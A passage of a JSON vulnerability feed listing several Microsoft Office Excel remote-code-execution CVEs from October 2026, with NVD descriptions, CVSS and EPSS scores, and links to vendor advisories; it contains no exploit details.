Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.610Z","updatedAt":"2026-10-15T21:19:30.007Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97759","asOf":"2026-10-15T21:19:30.007Z"},"epss":{"probability":0.00804,"percentile":0.56445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97759","type":"primary","publishedAt":"2026-10-13T19:22:13.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97759","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97758","cveId":"CVE-2026-97758","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.490Z","updatedAt":"2026-10-15T21:19:29.887Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97758","asOf":"2026-10-15T21:19:29.887Z"},"epss":{"probability":0.00589,"percentile":0.47875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97758","type":"primary","publishedAt":"2026-10-13T19:22:13.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97758","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97757","cveId":"CVE-2026-97757","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.367Z","updatedAt":"2026-10-15T21:19:29.770Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97757","asOf":"2026-10-15T21:19:29.770Z"},"epss":{"probability":0.00859,"percentile":0.58195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97757","type":"primary","publishedAt":"2026-10-13T19:22:13.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97757","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97756","cveId":"CVE-2026-97756","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.237Z","updatedAt":"2026-10-15T21:19:29.643Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97756","asOf":"2026-10-15T21:19:29.643Z"},"epss":{"probability":0.0091,"percentile":0.59721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97756","type":"primary","publishedAt":"2026-10-13T19:22:13.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97756","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97755","cveId":"CVE-2026-97755","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.107Z","updatedAt":"2026-10-15T21:19:29.517Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97755","asOf":"2026-10-15T21:19:29.517Z"},"epss":{"probability":0.00804,"percentile":0.56445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97755","type":"primary","publishedAt":"2026-10-13T19:22:13.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97755","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97754","cveId":"CVE-2026-97754","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.973Z","updatedAt":"2026-10-15T21:19:29.397Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97754","asOf":"2026-10-15T21:19:29.397Z"},"epss":{"probability":0.00743,"percentile":0.54416,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97754&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97754","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97754","type":"primary","publishedAt":"2026-10-13T19:22:12.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97754","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97754&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97754, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97753","cveId":"CVE-2026-97753","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.850Z","updatedAt":"2026-10-15T21:19:29.277Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97753","asOf":"2026-10-15T21:19:29.277Z"},"epss":{"probability":0.00804,"percentile":0.56445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97753","type":"primary","publishedAt":"2026-10-13T19:22:12.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97753","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97752","cveId":"CVE-2026-97752","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.707Z","updatedAt":"2026-10-15T21:19:29.160Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97752","asOf":"2026-10-15T21:19:29.160Z"},"epss":{"probability":0.00743,"percentile":0.54417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97752","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97752","type":"primary","publishedAt":"2026-10-13T19:22:12.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97752","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97751","cveId":"CVE-2026-97751","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.587Z","updatedAt":"2026-10-15T21:19:29.040Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97751","asOf":"2026-10-15T21:19:29.040Z"},"epss":{"probability":0.00535,"percentile":0.44883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97751&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97751","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97751","type":"primary","publishedAt":"2026-10-13T19:22:12.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97751","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97751&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97751, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97750","cveId":"CVE-2026-97750","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.463Z","updatedAt":"2026-10-15T21:19:28.913Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97750","asOf":"2026-10-15T21:19:28.913Z"},"epss":{"probability":0.00758,"percentile":0.54936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97750&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97750","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97750","type":"primary","publishedAt":"2026-10-13T19:22:12.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97750","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97750&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97750, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97748","cveId":"CVE-2026-97748","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.213Z","updatedAt":"2026-10-15T21:19:28.737Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97748","asOf":"2026-10-15T21:19:28.737Z"},"epss":{"probability":0.00859,"percentile":0.58193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97748","type":"primary","publishedAt":"2026-10-13T19:22:12.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97748","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97747","cveId":"CVE-2026-97747","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.093Z","updatedAt":"2026-10-15T21:19:28.610Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97747","asOf":"2026-10-15T21:19:28.610Z"},"epss":{"probability":0.00743,"percentile":0.54417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97747&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97747","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97747","type":"primary","publishedAt":"2026-10-13T19:22:12.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via 